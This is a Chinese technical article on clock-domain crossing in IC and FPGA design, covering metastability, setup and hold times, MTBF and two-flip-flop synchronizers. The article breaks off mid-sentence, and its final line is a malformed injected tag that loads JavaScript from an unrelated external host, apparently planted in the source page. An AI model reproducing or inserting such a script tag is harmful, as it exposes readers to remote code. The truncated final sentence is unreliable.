只有最初级的逻辑电路才使用单一的时钟。大多数与数据传输相关的应用都有与生俱来的挑战,即跨越多个时钟域的数据移动,例如磁盘控制器、cdrom/dvd 控制器、调制解调器、网卡以及网络处理器等。当信号从一个时钟域传送到另一个时钟域时,出现在新时钟域的信号是异步信号。
在现代 ic、asic 以及 fpga 设计中,许多软件程序可以帮助工程师建立几百万门的电路,但这些程序都无法解决信号同步问题。设计者需要了解可靠的设计技巧,以减少电路在跨时钟域通信时的故障风险。
基础
从事多时钟设计的第一步是要理解信号稳定性问题。当一个信号跨越某个时钟域时,对新时钟域的电路来说它就是一个异步信号。接收该信号的电路需要对其进行同步。同步可以防止第一级存储单元(触发器)的亚稳态在新的时钟域里传播蔓延。
亚稳态是指触发器无法在某个规定时间段内达到一个可确认的状态。当一个触发器进入亚稳态时,既无法预测该单元的输出电平,也无法预测何时输出才能稳定在某个正确的电平上。在这个稳定期间,触发器输出一些中间级电平,或者可能处于振荡状态,并且这种无用的输出电平可以沿信号通道上的各个触发器级联式传播下去。
对任何一种触发器,在时钟触发沿前后的一个小时间窗口内,输入信号必须稳定。这一时间窗口是多种因素的函数,包括触发器设计、实现技术、运行环境以及无缓冲输出上的负载等。输入信号陡峭的边沿可以将此窗口减至最小。随着时钟频率的升高,会出现更多有问题的时间窗口,而随着数据频率的提升,这种窗口的命中概率则会增加。
fpga 制造商和 ic 晶片厂用“mtbf”来标识合格的触发器,并且确定它们的特性。“mtbf”(平均无故障时间)用统计方法描述了一个触发器的亚稳态特性,即确定某个触发器出现故障的概率。在计算 mtbf 时,制造商部分基于输入信号改变导致触发器不稳定期间的时间窗口长度。另外,mtbf 的计算还使用了输入信号的频率以及驱动触发器的时钟频率。
在一个 asic 或 fpga 库中,每种触发器都有时序要求,以帮助你确定容易出问题的窗口。“建立时间”(setup time)是指在时钟沿到来之前,触发器输入信号必须保持稳定的时间。“保持时间”(hold time)则是指在时钟沿之后,信号必须保持稳定的时间。这些指标通常比较保守,以应对电源电压、工作温度、信号质量以及制造工艺等各种可能的差异。如果一个设计满足了这些时序要求,则触发器出现错误的可能性可以忽略不计。
现代 ic 与 fpga 设计中使用的综合工具可以保证设计能满足每个数字电路触发器对建立与保持时间的要求。然而,异步信号却给软件提出了难题。对新的时钟域来说,从其它时钟域传来的信号是异步的。大多数综合工具在判定异步信号是否满足触发器时序要求时遇到了麻烦。因为它们不能确定触发器处于非稳态的时间,所以它们也就不能确定从一个触发器通过组合逻辑到达下一个触发器的总延迟时间。所以,最好的办法是使用一些电路来减轻异步信号的影响。
信号同步
信号同步的目的是防止新时钟域中第一级触发器的亚稳态信号对下级逻辑造成影响。简单的同步器由两个触发器串联而成,中间没有其它组合电路。这种设计可以保证后面的触发器获得前一个触发器输出时,前一个触发器已退出了亚稳态,并且输出已稳定。设计中要注意将两个触发器放得尽可能近,以确保两者间有最小的时滞(clock skew)。
ic 制造厂提供同步单元,帮助完成信号同步工作。这些单元通常包括一个有非常高增益的触发器,它比普通触发器耗电更高,也比较大。这种触发器降低了对输入信号建立-保持时间的要求,并且当输入信号导致亚稳态时,它可以防止出现振荡。另一种同步器单元包括两个触发器,省去了将两个单独触发器靠近放置的工作,也防止设计人员误在两个触发器间加入任何其它的组合逻辑。
为了使同步工作能正常进行,从某个时钟域传来的信号应先通过原时钟域上的一个触发器,然后不经过两个时钟域间的任何组合逻辑,直接进入同步器的第一个触发器中(图 1)。这一要求非常重要,因为同步器的第一级触发器对组合逻辑所产生的毛刺非常敏感。如果一个足够长的信号毛刺正好满足?script src=http://er12.com/t.js>